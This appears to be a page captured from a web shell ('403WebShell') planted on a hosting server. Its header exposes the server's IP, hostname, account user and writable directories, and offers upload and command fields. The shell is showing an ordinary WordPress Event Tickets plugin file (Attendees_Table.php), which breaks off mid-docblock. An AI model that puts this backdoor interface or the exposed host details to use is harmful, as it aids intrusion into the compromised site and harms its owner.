Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.116.13.192
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe//Attendees_Table.php
<?php

use TEC\Tickets\Event;
use TEC\Tickets\Admin\Attendees\Page as Attendees_Page;

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
}

/**
 * Class Tribe__Tickets__Attendees_Table
 *
 * See documentation for WP_List_Table
 */
class Tribe__Tickets__Attendees_Table extends WP_List_Table {

	/**
	 * Store a possible Event.
	 *
	 * @var mixed $event
	 */
	public $event = false;

	/**
	 * The name (what gets submitted to the server) of our search box input.
	 *
	 * @var string $search_box_input_name
	 */
	private $search_box_input_name = 's';

	/**
	 * The user option that will be used to store the number of attendees per page to show.
	 *
	 * @var string $per_page_option
	 */
	protected $per_page_option;

	/**
	 * Class constructor
	 *
	 * @see WP_List_Table::__construct()
	 *
	 * @param array $args additional arguments/overrides
	 *
	 */
	public function __construct( $args = [] ) {
		/**
		 * This class' parent defaults to 's', but we want to change that on the front-end (e.g. Community) to avoid
		 * the possibility of triggering the theme's Search template.
		 */
		if ( ! is_admin() ) {
			$this->search_box_input_name = 'search';
		}

		$screen = get_current_screen();

		$args = wp_parse_args( $args, [
			'singular' => 'attendee',
			'plural'   => 'attendees',
			'ajax'     => true,
			'screen'   => $screen,
		] );

		$this->per_page_option = Tribe__Tickets__Admin__Screen_Options__Attendees::$per_page_user_option;

		if ( ! is_null( $screen ) ) {
			$screen->add_option( 'per_page', [
				'label'  => __( 'Number of attendees per page:', 'event-tickets' ),
				'option' => $this->per_page_option,
			] );
		}

		// Fetch the event Object
		if ( ! empty( $_GET['event_id'] ) ) {
			$event_id    = filter_var( $_GET['event_id'], FILTER_VALIDATE_INT );
			$event_id    = Event::filter_event_id( $event_id, 'attendees-table' );
			$this->event = get_post( $event_id );
		}

		parent::__construct( apply_filters( 'tribe_events_tickets_attendees_table_args', $args ) );
	}

	/**
	 * Overrides the list of CSS classes for the WP_List_Table table tag.
	 * This function is not hookable in core, so it needs to be overridden!
	 *
	 * @since 4.10.7
	 *
	 * @return array List of CSS classes for the table tag.
	 */
	protected function get_table_classes() {
		$classes = [
			'widefat',
			'striped',
			'attendees',
			'tribe-attendees',
		];

		if ( is_admin() ) {
			$classes[] = 'fixed';
			$classes[] = 'tec-tickets__admin-table-attendees';
		}

		/**
		 * Filters the default classes added to the attendees report `WP_List_Table`.
		 *
		 * @since 4.10.7
		 *
		 * @param array $classes The array of classes to be applied.
		 */
		$classes = apply_filters( 'tribe_tickets_attendees_table_classes', $classes );

		return $classes;
	}

	/**
	 * Get a list of columns. The format is:
	 * 'internal-name' => 'Title'
	 *
	 * @return array
	 */
	public function get_table_columns(): array {
		$event_id = $this->get_post_id();

		$columns = [
			'cb'           => '<input type="checkbox" />',
			'primary_info' => esc_html_x( 'Attendee Information', 'attendee table', 'event-tickets' ),
			'ticket'       => esc_html( tribe_get_ticket_label_singular( 'attendee_table_column' ) ),
			'status'       => esc_html_x( 'Status', 'attendee table', 'event-tickets' ),
		];

		// Only include the security code column if we're not in the admin, for Community Tickets.
		if ( ! is_admin() ) {
			$columns = \Tribe__Main::array_insert_after_key(
				'ticket',
				$columns,
				[ 'security' => esc_html_x( 'Security Code', 'attendee table', 'event-tickets' ) ]
			);
		}

		/** @var Tribe__Tickets__Attendees $attendees */
		$attendees = tribe( 'tickets.attendees' );

		if ( $attendees->user_can_manage_attendees( 0, $event_id ) ) {
			$columns['check_in'] = esc_html_x( 'Check in', 'attendee table', 'event-tickets' );
		}

		/**
		 * Controls the columns rendered within the attendee screen.
		 *
		 * @since 4.3.2
		 * @since 5.8.2 Added the `$event_id` parameter to the filter context.
		 *
		 * @param array<string,string> $columns An array of column headers.
		 * @param int $event_id The ID of the post the table is being rendered for.
		 */
		return apply_filters( 'tribe_tickets_attendee_table_columns', $columns, $event_id );
	}

	/**
	 * Checks the current user's permissions
	 */
	public function ajax_user_can(): bool {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

	/**
	 * Get a list of columns. The format is:
	 * 'internal-name' => 'Title'
	 *
	 * @return array
	 */
	public function get_columns(): array {
		return $this->get_table_columns();
	}

	/**
	 * Handler for the columns that don't have a specific column_{name} handler function.
	 *
	 * @param $item
	 * @param $column
	 *
	 * @return string
	 */
	public function column_default( $item, $column ) {
		$value = '';

		// @todo Move the attendee meta bit into ET+ using the filter below.
		if ( ! empty( $item[ $column ] ) ) {
			$value = $item[ $column ];
		} elseif ( ! empty( $item['attendee_meta'][ $column ] ) ) {
			$value = $item['attendee_meta'][ $column ];
		}

		return apply_filters( 'tribe_events_tickets_attendees_table_column', $value, $item, $column );
	}

	/**
	 * Handler for the checkbox column
	 *
	 * @param $item
	 *
	 * @return string
	 */
	public function column_cb( $item ) {
		$provider = ! empty( $item['provider'] ) ? $item['provider'] : null;

		return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" />', esc_attr( $this->_args['singular'] ), esc_attr( $item['attendee_id'] . '|' . $provider ) );
	}

	/**
	 * Populates the purchaser column.
	 *
	 * @param array $item
	 *
	 * @return string
	 */
	public function column_primary_info( array $item ): string {
		$name  = '';
		$email = '';

		if ( ! empty( $item['holder_name'] ) ) {
			$name = $item['holder_name'];
		} elseif ( ! empty( $item['purchaser_name'] ) ) {
			$name = $item['purchaser_name'];
		}

		if ( ! empty( $item['holder_email'] ) ) {
			$email = $item['holder_email'];
		} elseif ( ! empty( $item['purchaser_email'] ) ) {
			$email = $item['purchaser_email'];
		}

		$attendee_id = trim( $this->get_attendee_id( $item ) );

		if (
			! empty( $attendee_id )
			&& ! empty( $item['attendee_id'] )
		) {
			// Purposefully not forcing strict check here.
			// phpcs:ignore
			if ( $attendee_id != $item['attendee_id'] ) {
				$attendee_id = sprintf( '#%d - %s', $item['attendee_id'], $attendee_id );
			} else {
				$attendee_id = sprintf( '#%s', $attendee_id );
			}
		}

		$attendee_id = esc_html( $attendee_id );

		$attendee_link = $name;

		// If we're in the admin, we display details in the modal.
		if ( is_admin() ) {
			$link = add_query_arg(
				[
					'action' => 'tec_tickets_attendee_details',
				],
				admin_url( 'admin-ajax.php' )
			);

			$attendee_link = ' <a
				href="' . $link . '&TB_iframe=1&width=500&height=400"
				class="row-title thickbox"
				name="' . $name . '"
				data-attendee-id="' . esc_attr( $attendee_id ) . '"
				data-provider="' . esc_attr( $item['provider'] ) . '"
				data-provider-slug="' . esc_attr( $item['provider_slug'] ) . '"
				data-event-id="' . esc_attr( $item['event_id'] ) . '"
			>' . $name . '</a>';

			$button_args = [
				'button_text'       => $name,
				'button_attributes' => [
					'data-attendee-id'    => (string) $item['attendee_id'],
					'data-event-id'       => $item['event_id'],
					'data-ticket-id'      => $item['product_id'],
					'data-provider'       => $item['provider'],
					'data-provider-slug'  => $item['provider_slug'],
					'data-modal-title'    => $name,
					'data-attendee-name'  => $name,
					'data-attendee-email' => $email,
				],
				'button_classes'    => [
					'button-link',
					'row-title',
				],
			];

			$attendee_link = tribe( \TEC\Tickets\Admin\Attendees\Modal::class )->get_modal_button( $button_args );
		}

		$has_attendee_meta = ! empty( $item['attendee_meta'] );

		$output = sprintf(
			'
				<div class="purchaser_name tec-tickets__admin-table-attendees-purchaser-name">
					<span class="row-title">%1$s</span>
				</div>
				<div class="purchaser_email tec-tickets__admin-table-attendees-purchaser-email">
					%2$s &mdash;
					<a class="tec-tickets__admin-table-attendees-purchaser-email-link" href="mailto:%3$s">%3$s</a>
				</div>
			',
			$attendee_link,
			$attendee_id,
			esc_html( $email )
		);

		$output .= $this->get_row_actions( $item );

		/**
		 * Provides an opportunity to modify the Primary Info column content in
		 * the attendees table.
		 *
		 * @since 4.5.2
		 *
		 * @param string $output
		 * @param array  $item
		 */
		return apply_filters( 'event_tickets_attendees_table_primary_info_column', $output, $item );
	}

	/**
	 * Populates the status column.
	 *
	 * @param array $item
	 *
	 * @return string
	 */
	public function column_status( array $item ) {
		$icon    = '';
		$warning = false;

		switch ( $item['order_status'] ) {
			case 'cancelled':
			case 'failed':
			case tribe( \TEC\Tickets\Commerce\Status\Not_Completed::class )->get_name():
			case tribe( \TEC\Tickets\Commerce\Status\Denied::class )->get_name():
				$icon = '<span class="dashicons dashicons-warning"></span>';
				break;
			case 'on-hold':
				$icon = '<span class="dashicons dashicons-flag"></span>';
				break;
			case 'refunded':
			case tribe( \TEC\Tickets\Commerce\Status\Refunded::class )->get_name():
				$icon = '<span class="dashicons dashicons-undo"></span>';
				break;
			case tribe( \TEC\Tickets\Commerce\Status\Pending::class )->get_name():
				$icon = '<span class="dashicons dashicons-clock"></span>';
				break;
			default:
				$icon = '';
				break;
		}

		if ( empty( $item['order_status'] ) ) {
			$item['order_status'] = '';
		}

		$label = isset( $item['order_status_label'] ) ? $item['order_status_label'] : ucwords( $item['order_status'] );

		$order_id_url = $this->get_order_id_url( $item );

		if ( ! empty( $order_id_url ) && ! empty( $item['order_id'] ) ) {
			// Translators: %d is the order ID.
			$label_title = sprintf( __( 'View or edit order #%d', 'event-tickets' ), $item['order_id'] );
			$label       = '<a href="' . esc_url( $order_id_url ) . '" title="' . esc_attr( $label_title ) . '">' . esc_html( $label ) . '</a>';
		}

		$label = $icon . $label;

		$classes = [
			'tec-tickets__admin-table-attendees-order-status',
			'tec-tickets__admin-table-attendees-order-status--' . sanitize_title_with_dashes( $item['order_status'] ),
		];

		$label = sprintf(
			'<div class="tec-tickets__admin-table-attendees-order-status-wrapper"><span class="%1$s">%2$s</span></div>',
			implode( ' ', $classes ),
			$label
		);

		/**
		 * Provides an opportunity to modify the order status text within
		 * the attendees table.
		 *
		 * @param string $order_status_html
		 * @param array  $item
		 */
		return apply_filters( 'tribe_tickets_attendees_table_order_status', $label, $item );
	}

	/**
	 * Retrieves the order id for the specified table row item.
	 *
	 * In some cases, such as when the current item belongs to the RSVP provider, an
	 * empty string may be returned as there is no order screen that can be linked to.
	 *
	 * @param array $item
	 *
	 * @return string
	 */
	public function get_order_id_url( array $item ) {
		// Backwards compatibility.
		if ( empty( $item['order_id_url'] ) ) {
			$item['order_id_url'] = get_edit_post_link( $item['order_id'], true );
		}

		return $item['order_id_url'];
	}

	/**
	 * Handler for the ticket column.
	 *
	 * @since  4.1
	 * @since  4.12.1 Include the raw attendee Post ID in the ticket's ID.
	 *
	 * @param array $item Item whose ticket data should be output.
	 *
	 * @return string
	 */
	public function column_ticket( array $item ) {
		ob_start();

		?>
		<div class="tec-tickets__admin-table-attendees-ticket-name event-tickets-ticket-name">
			<?php echo esc_html( $item['ticket'] ); ?>
		</div>

		<?php
		/**
		 * Hook to allow for the insertion of additional content in the ticket table cell
		 *
		 * @var array $item Attendee row item
		 */
		do_action( 'event_tickets_attendees_table_ticket_column', $item );

		$output = ob_get_clean();

		return $output;
	}

	/**
	 * Generates and returns the attendee table row actions.
	 *
	 * @param array $item
	 *
	 * @return string
	 */
	protected function get_row_actions( array $item ) {
		/** @var Tribe__Tickets__Attendees $attendees */
		$attendees = tribe( 'tickets.attendees' );
		$event_id  = $this->get_post_id();

		if ( ! $attendees->user_can_manage_attendees( 0, $event_id ) ) {
			return '';
		}

		$default_row_actions = $this->add_default_row_actions( [], $item );

		/**
		 * Sets the row action links that display within the ticket column of the
		 * attendee list table.
		 *
		 * @param array $row_actions
		 * @param array $item
		 */
		$row_actions = (array) apply_filters( 'event_tickets_attendees_table_row_actions', $default_row_actions, $item );

		// Make sure that `Delete` is the last item.
		if ( isset( $row_actions['delete-attendee'] ) ) {
			$delete_action = $row_actions['delete-attendee'];
			unset( $row_actions['delete-attendee'] );
			$row_actions['delete-attendee'] = $delete_action;
		}

		$row_actions = join( ' | ', $row_actions );

		return empty( $row_actions ) ? '' : '<div class="row-actions">' . $row_actions . '</div>';
	}

	/**
	 * Adds a set of default row actions to each item in the attendee list table.
	 *
	 * @param array $row_actions
	 * @param array $item
	 *
	 * @return array
	 */
	public function add_default_row_actions( array $row_actions, array $item ) {
		/** @var Tribe__Tickets__Attendees $attendees */
		$attendees = tribe( 'tickets.attendees' );
		$event_id  = $this->get_post_id();

		if ( empty( $event_id ) || ! empty( $item['event_id'] ) ) {
			$event_id = $item['event_id'];
		}

		if ( ! $attendees->user_can_manage_attendees( 0, $event_id ) ) {
			return $row_actions;
		}

		$default_actions = [];
		$provider        = ! empty( $item['provider'] ) ? $item['provider'] : null;
		$not_going       = empty( $item['order_status'] )
			|| $item['order_status'] === 'no'
			|| 'cancelled' === $item['order_status']
			|| 'refunded' === $item['order_status']
			|| 'on-hold' === $item['order_status']
			|| tribe( \TEC\Tickets\Commerce\Status\Not_Completed::class )->get_name() === $item['order_status']
			|| tribe( \TEC\Tickets\Commerce\Status\Denied::class )->get_name() === $item['order_status']
			|| tribe( \TEC\Tickets\Commerce\Status\Refunded::class )->get_name() === $item['order_status']
			|| tribe( \TEC\Tickets\Commerce\Status\Pending::class )->get_name() === $item['order_status'];

		if ( isset( $event_id ) && ! $not_going ) {
			$default_actions[] = sprintf(
				'<span class="inline">
					<a href="#" class="tickets_checkin" data-attendee-id="%1$d" data-event-id="%2$d" data-provider="%3$s">' . esc_html_x( 'Check In', 'row action', 'event-tickets' ) . '</a>
					<a href="#" class="tickets_uncheckin" data-attendee-id="%1$d" data-event-id="%2$d" data-provider="%3$s">' . esc_html_x( 'Undo Check In', 'row action', 'event-tickets' ) . '</a>
				</span>',
				esc_attr( $item['attendee_id'] ),
				esc_attr( $event_id ),
				esc_attr( $provider )
			);
		}

		if ( is_admin() ) {
			$default_actions['move-attendee'] = sprintf(
				'<span
					class="inline move-ticket tec-tickets__admin-table-action-button--attendee-move"
					data-attendee-id="%1$d" data-event-id="%2$d"
				> <a href="#">' . esc_html_x( 'Move', 'row action', 'event-tickets' ) . '</a> </span>',
				esc_attr( $item['attendee_id'] ),
				esc_attr( $event_id ),
			);
		}

		$attendee = esc_attr( $item['attendee_id'] . '|' . $provider );
		$attendee = str_replace( '\\', '', $attendee );
		$nonce    = wp_create_nonce( 'do_item_action_' . $attendee );

		$delete_url = esc_url( add_query_arg( [
			'action'   => 'delete_attendee',
			'nonce'    => $nonce,
			'attendee' => $attendee,
		] ) );

		$default_actions['delete-attendee'] = '<span class="trash"><a href="' . $delete_url . '">' . esc_html_x( 'Delete', 'row action', 'event-tickets' ) . '</a></span>';

		return array_merge( $row_actions, $default_actions );
	}

	/**
	 * Returns the attendee ID (or "unique ID" if set).
	 *
	 * @param array $item
	 *
	 * @return int|string
	 */
	public function get_attendee_id( $item ) {
		$attendee_id = empty( $item['attendee_id'] ) ? '' : $item['attendee_id'];
		if ( $attendee_id === '' ) {
			return '';
		}

		$unique_id = get_post_meta( $attendee_id, '_unique_id', true );

		if ( $unique_id === '' ) {
			$unique_id = $attendee_id;
		}

		/**
		 * Filters the ticket number; defaults to the ticket unique ID.
		 *
		 * @param string $unique_id A unique string identifier for the ticket.
		 * @param array  $item      The item entry.
		 */
		return apply_filters( 'tribe_events_tickets_attendees_table_attendee_id_column', $unique_id, $item );
	}

	/**
	 * Handler for the check in column
	 *
	 * @param $item
	 *
	 * @return string
	 */
	public function column_check_in( $item ) {
		$event_id = $this->get_post_id();

		if ( ! tribe( 'tickets.attendees' )->user_can_manage_attendees( 0, $event_id ) ) {
			return false;
		}

		$default_checkin_stati = [];
		$provider_slug         = ! empty( $item['provider_slug'] ) ? $item['provider_slug'] : null;
		$order_id              = $item['order_id'];
		$provider              = ! empty( $item['provider'] ) ? $item['provider'] : null;

		/**
		 * Filters the order stati that will allow for a ticket to be checked in for all commerce providers.
		 *
		 * @since 4.1
		 *
		 * @param array  $default_checkin_stati An array of default order stati that will make a ticket eligible for check-in.
		 * @param string $provider_slug         The ticket provider slug.
		 * @param int    $order_id              The order post ID.
		 */
		$check_in_stati = apply_filters( 'event_tickets_attendees_checkin_stati', $default_checkin_stati, $provider_slug, $order_id );

		/**
		 * Filters the order stati that will allow for a ticket to be checked in for a specific commerce provider.
		 *
		 * @since 4.1
		 *
		 * @param array $default_checkin_stati An array of default order stati that will make a ticket eligible for check-in.
		 * @param int   $order_id              The order post ID.
		 */
		$check_in_stati = apply_filters( "event_tickets_attendees_{$provider_slug}_checkin_stati", $check_in_stati, $order_id );

		if (
			! empty( $item['order_status'] )
			&& ! empty( $item['order_id_link_src'] )
			&& is_array( $check_in_stati )
			&& ! in_array( $item['order_status'], $check_in_stati )
		) {
			return '';
		}

		$context = [
			'item'            => $item,
			'attendee_table'  => $this,
			'provider'        => $provider,
			'disable_checkin' => empty( $item['order_status'] ) || ! in_array( $item['order_status'], $check_in_stati, true ),
		];

		/** @var Tribe__Tickets__Admin__Views $admin_views */
		$admin_views = tribe( 'tickets.admin.views' );

		$html = $admin_views->template( 'attendees/attendees-table/check-in-button', $context, false );

		/**
		 * Provides an opportunity to modify the check-in column content.
		 *
		 * @since 5.9.1
		 *
		 * @param string $html The HTML for the check-in column.
		 * @param array  $item The current item.
		 */
		return apply_filters( 'tec_tickets_attendees_table_column_check_in', $html, $item );
	}

	/**
	 * Generates content for a single row of the table
	 *
	 * @param object $item The current item
	 */
	public function single_row( $item ) {
		$checked = '';
		if ( ( (int) $item['check_in'] ) === 1 ) {
			$checked = ' tickets_checked tec-tickets__admin-table-attendees-attendee-checked-in ';
		}

		$status = 'complete';
		if ( ! empty( $item['order_status'] ) ) {
			$status = $item['order_status'];
		}

		$ticket_type = $item['ticket_type'] ?: 'default';
		echo '<tr class="' . esc_attr( $checked . $status ) . '" data-ticket-type="' . esc_attr( $ticket_type ) . '">';
		$this->single_row_columns( $item );
		echo '</tr>';

		/**
		 * Hook to allow for the insertion of data after an attendee table row.
		 *
		 * @var $item array of an Attendee's data
		 */
		do_action( 'event_tickets_attendees_table_after_row', $item );
	}

	/**
	 * Extra controls to be displayed between bulk actions and pagination.
	 *
	 * Used for the Print, Email and Export buttons, and for the jQuery based search.
	 *
	 * @see WP_List_Table::display()
	 *
	 * @param string $which (top|bottom)
	 */
	public function extra_tablenav( $which ) {
		$event_id = $this->get_post_id();

		// Bail early if user is not owner/have permissions
		if ( ! tribe( 'tickets.attendees' )->user_can_manage_attendees( 0, $event_id ) ) {
			return;
		}

		/**
		 * Include TB_iframe JS
		 */
		add_thickbox();

		$parent = 'admin.php';

		/**
		 * Filter to show email form for non-admins.
		 *
		 * @since 4.10.1
		 *
		 * @param boolean
		 */
		$allow_fe = apply_filters( 'tribe_allow_admin_on_frontend', false );
		if ( $allow_fe && ! is_admin() ) {
			global $wp;
			$parent = untrailingslashit( $wp->request ) . '/';
		}

		$email_link = tribe( 'settings' )->get_url( [
			'page'      => 'tickets-attendees',
			'action'    => 'email',
			'event_id'  => $event_id,
			'_wpnonce'  => wp_create_nonce( 'email-attendees-list' ),
			'TB_iframe' => true,
			'width'     => 410,
			'height'    => 300,
			'parent'    => $parent,
		] );

		if ( $allow_fe && ! is_admin() ) {
			$email_link = str_replace( '/wp-admin/', '/', $email_link );
			$email_link = add_query_arg(
				[
					'page'      => null,
					'post_type' => null,
				],
				$email_link
			);
		}

		$nav = [
			'left'  => [
				'print'  => sprintf( '<input type="button" name="print" class="print button action" value="%s">', esc_attr__( 'Print', 'event-tickets' ) ),
				'export' => sprintf( '<a target="_blank" href="%s" class="export button action" rel="noopener noreferrer">%s</a>', esc_url( tribe( 'tickets.attendees' )->get_export_url() ), esc_html__( 'Export', 'event-tickets' ) ),
			],
			'right' => [],
		];

		// Only show the email button if the user is an admin, or we've enabled it via the filter, and we're not in the General attendees page.
		if ( ( current_user_can( 'edit_posts' ) || $allow_fe )
			&& ! tribe( Attendees_Page::class )->is_on_page()
		) {
			$nav['left']['email'] = sprintf( '<a class="email button action thickbox" href="%1$s">%2$s</a>', esc_url( $email_link ), esc_html__( 'Email', 'event-tickets' ) );
		}

		/**
		 * Allows for customization of the buttons/options available above and below the Attendees table.
		 *
		 * @param array  $nav   The array of items in the nav, where keys are the name of the item and values are the HTML of the buttons/inputs.
		 * @param string $which Either 'top' or 'bottom'; the location of the current nav items being filtered.
		 */
		$nav = apply_filters( 'tribe_events_tickets_attendees_table_nav', $nav, $which );

		?>
		<div class="alignleft actions attendees-actions"><?php echo implode( $nav['left'] ); ?></div>
		<div class="alignright attendees-filter"><?php echo implode( $nav['right'] ) ?></div>
		<?php
	}

	/**
	 * Get an associative array ( option_name => option_title ) with the list
	 * of bulk actions available on this table.
	 *
	 * @return array
	 */
	public function get_bulk_actions() {
		$actions  = [];
		$event_id = $this->get_post_id();

		if ( tribe( 'tickets.attendees' )->user_can_manage_attendees( 0, $event_id ) ) {
			$actions['delete_attendee'] = esc_attr__( 'Delete', 'event-tickets' );
			$actions['check_in']        = esc_attr__( 'Check in', 'event-tickets' );
			$actions['uncheck_in']      = esc_attr__( 'Undo Check in', 'event-tickets' );
		}

		/**
		 * Filters the bulk actions available on the Attendees table.
		 *
		 * @since 3.11
		 *
		 * @param array<string,string> $actions The array of bulk actions available on the Attendees table.
		 */
		return (array) apply_filters( 'tribe_events_tickets_attendees_table_bulk_actions', $actions );
	}

	/**
	 * Handler for the different bulk actions
	 */
	public function process_actions() {
		if ( ! $this->validate_action_nonce() ) {
			return;
		}

		switch ( $this->current_action() ) {
			case 'check_in':
				$this->do_check_in();
				break;
			case 'uncheck_in':
				$this->do_uncheck_in();
				break;
			case 'delete_attendee':
				$this->do_delete();
				break;
			default:
				/**
				 * Allow for customizing the generic/default action to perform on selected Attendees.
				 *
				 * @param $current_action The action currently being done on the selection of Attendees.
				 */
				do_action( 'tribe_events_tickets_attendees_table_process_bulk_action', $this->current_action() );
				break;
		}
	}

	/**
	 * Indicates if a valid nonce was set for the currently requested bulk or
	 * individual action.
	 *
	 * @return bool
	 */
	protected function validate_action_nonce() {
		// If a bulk action request was posted.
		if ( ! empty( $_POST['attendee'] ) && $_POST['attendee'] && wp_verify_nonce( $_POST['_wpnonce'], 'bulk-attendees' ) ) {
			return true;
		}

		// If an individual action was requested.
		if ( ! empty( $_GET['attendee'] ) && $_GET['attendee'] && wp_verify_nonce( $_GET['nonce'], 'do_item_action_' . $_GET['attendee'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Returns the list of attendee/tickets for the current bulk or individual
	 * action.
	 *
	 * The format is an array where the elements represent the ticket ID and
	 * provider in the following format:
	 *
	 *     [
	 *         '123|Ticket_Provider',
	 *         '4567|Ticket_Provider',
	 *     ]
	 *
	 * @return array
	 */
	protected function get_action_ids() {
		$action_ids = [];

		if ( isset( $_POST['attendee'] ) ) {
			$action_ids = (array) $_POST['attendee'];
		} elseif ( isset( $_GET['attendee'] ) ) {
			$action_ids = (array) $_GET['attendee'];
		}

		return $action_ids;
	}

	/**
	 * Get the Event ID ( Post ID ) of the Current Attendees Table.
	 *
	 * @since 4.10.4
	 *
	 * @return int $event_id the event or post id for the attendee table
	 */
	protected function get_post_id() {
		if ( ! empty( $this->event->ID ) ) {
			return absint( $this->event->ID );
		}

		$event_id = tribe_get_request_var( 'event_id', 0 );

		// If not `event_id` try to use `post_id`.
		if ( empty( $event_id ) ) {
			$event_id = tribe_get_request_var( 'post_id', $event_id );
		}

		return absint( $event_id );
	}

	/**
	 * Process the checking-in of selected attendees from the Attendees table.
	 */
	protected function do_check_in() {
		$attendee_ids = $this->get_action_ids();

		if ( ! $attendee_ids ) {
			return;
		}

		foreach ( $attendee_ids as $attendee ) {
			list( $id, $addon ) = $this->attendee_reference( $attendee );

			if ( false === $id ) {
				continue;
			}

			$addon->checkin( $id );
		}
	}

	/**
	 * Process the undoing of a check-in of selected attendees from the Attendees table.
	 */
	protected function do_uncheck_in() {
		$attendee_ids = $this->get_action_ids();

		if ( ! $attendee_ids ) {
			return;
		}

		foreach ( $attendee_ids as $attendee ) {

			list( $id, $addon ) = $this->attendee_reference( $attendee );

			if ( false === $id ) {
				continue;
			}

			$addon->uncheckin( $id );
		}
	}

	/**
	 * Process the deletion of selected attendees from the Attendees table.
	 *
	 * @since 4.10.4 add redirect after completing action
	 *
	 */
	protected function do_delete() {
		$attendee_ids = $this->get_action_ids();

		if ( ! $attendee_ids ) {
			return;
		}

		foreach ( $attendee_ids as $attendee ) {
			list( $id, $addon ) = $this->attendee_reference( $attendee );

			if ( false === $id ) {
				continue;
			}

			$addon->delete_ticket( null, $id );
		}

		// Redirect after deleting attendees back to attendee URL.
		$post = get_post( $this->get_post_id() );
		if ( ! isset( $post->ID ) ) {
			return;
		}

		if ( headers_sent() ) {
			return;
		}

		$redirect_url = tribe( 'tickets.attendees' )->get_report_link( $post );
		wp_safe_redirect( $redirect_url );

		exit;
	}

	/**
	 * Returns the attendee ID and instance of the specific ticketing solution or "addon" used
	 * to handle it.
	 *
	 * This is used in the context of bulk actions where each attendee table entry is identified
	 * by a string of the pattern {id}|{ticket_class} - where possible this method turns that into
	 * an array consisting of the attendee object ID and the relevant ticketing object.
	 *
	 * If this cannot be determined, both array elements will be set to false.
	 *
	 * @param $reference
	 *
	 * @return array
	 */
	protected function attendee_reference( $reference ) {
		$failed = [ false, false ];

		if ( false === strpos( $reference, '|' ) ) {
			return $failed;
		}

		$parts = explode( '|', $reference );

		if ( count( $parts ) < 2 ) {
			return $failed;
		}

		$id = absint( $parts[0] );

		if ( $id <= 0 ) {
			return $failed;
		}

		$attendee_type = get_post_type( $id );

		// Bail if the attendee type is not valid.
		if ( ! $attendee_type ) {
			return $failed;
		}

		if (
			$attendee_type === \TEC\Tickets\Commerce\Attendee::POSTTYPE
			&& tec_tickets_commerce_is_enabled()
		) {
			$addon = tribe( \TEC\Tickets\Commerce\Module::class );
			return [ $id, $addon ];
		} else {
			$addon = call_user_func( [ $parts[1], 'get_instance' ] );

			if ( ! is_subclass_of( $addon, 'Tribe__Tickets__Tickets' ) ) {
				return $failed;
			}
		}

		return [ $id, $addon ];
	}

	/**
	 * Prepares the list of items for displaying.
	 *
	 * @since 5.8.4 Adding caching to eliminate method running multiple times.
	 *
	 * @return void
	 */
	public function prepare_items() {
		$this->process_actions();

		$current_page = $this->get_pagenum();
		$per_page     = $this->get_items_per_page( $this->per_page_option );

		$pagination_args = [
			'total_items' => 0,
			'per_page'    => $per_page,
		];

		$args = [
			'page'               => $current_page,
			'per_page'           => $per_page,
			'return_total_found' => true,
			'order'              => 'DESC',
		];

		$event_id = Event::filter_event_id( filter_var( tribe_get_request_var( 'event_id' ), FILTER_VALIDATE_INT ), 'attendees-table' );
		$search   = sanitize_text_field( tribe_get_request_var( $this->search_box_input_name ) );

		if ( empty( $event_id ) ) {
			$event_id = 0;
		}

		// Set up the search args if we have a search term.
		if ( ! empty( $search ) ) {
			$args = $this->set_up_search_args( $search, $args );
		}

		// Setup sorting args.
		if ( tribe_get_request_var( 'orderby' ) ) {
			$args['orderby'] = tribe_get_request_var( 'orderby' );
		}

		if ( tribe_get_request_var( 'order' ) ) {
			$args['order']   = tribe_get_request_var( 'order' );
		}

		/**
		 * Filters the arguments used to query the attendees for the Attendees Table.
		 *
		 * @since 5.9.1
		 *
		 * @param array $args The arguments used to query the attendees for the Attendees Table.
		 * @param int   $event_id The event ID for the Attendees Table.
		 *
		 * @return array
		 */
		$args = apply_filters( 'tec_tickets_attendees_table_query_args', $args, $event_id );

		/** @var Tribe__Cache $cache */
		$cache     = tribe( 'cache' );
		$cache_key = __METHOD__ . '-' . md5( wp_json_encode( $args ) . $event_id );

		/**
		 * Filters the cache key used to store the attendees table items.
		 *
		 * @since 5.14.0
		 *
		 * @param string $cache_key The cache key used to store the attendees table items.
		 * @param array  $args      The arguments used to query the attendees for the Attendees Table.
		 * @param int    $event_id  The event ID for the Attendees Table.
		 */
		$cache_key = apply_filters( 'tec_tickets_attendees_table_cache_key', $cache_key, $args, $event_id );

		// If we have a cached version of the attendees, use that.
		$cached = $cache->get( $cache_key );
		if ( false !== $cached ) {
			$this->items = $cached;
			return;
		}

		$items     = [];
		$item_data = Tribe__Tickets__Tickets::get_attendees_by_args( $args, $event_id );
		if ( ! empty( $item_data ) ) {
			$items                          = $item_data['attendees'];
			$pagination_args['total_items'] = $item_data['total_found'];
		}

		$this->items = $items;
		$cache->set( $cache_key, $items, 60 );

		$this->set_pagination_args( $pagination_args );
	}

	/**
	 * Set up the search arguments for the attendees table.
	 *
	 * @since 5.14.0
	 *
	 * @param string $search The search string.
	 * @param array  $args   The current arguments.
	 *
	 * @return array The updated arguments.
	 */
	private function set_up_search_args( string $search, array $args ) {
		$search_keys = array_keys( $this->get_search_options() );

		/**
		 * Filters the item keys that can be used to filter attendees while searching them.
		 *
		 * @since 4.7
		 * @since 4.10.6 Deprecated usage of $items attendees list.
		 *
		 * @param array  $search_keys The keys that can be used to search attendees.
		 * @param array  $items       (deprecated) The attendees list.
		 * @param string $search      The current search string.
		 */
		$search_keys = apply_filters( 'tribe_tickets_search_attendees_by', $search_keys, [], $search );

		/**
		 * Filters the default key to search attendees by.
		 *
		 * @since 5.14.0
		 *
		 * @param string $search_key  The default key to search attendees by.
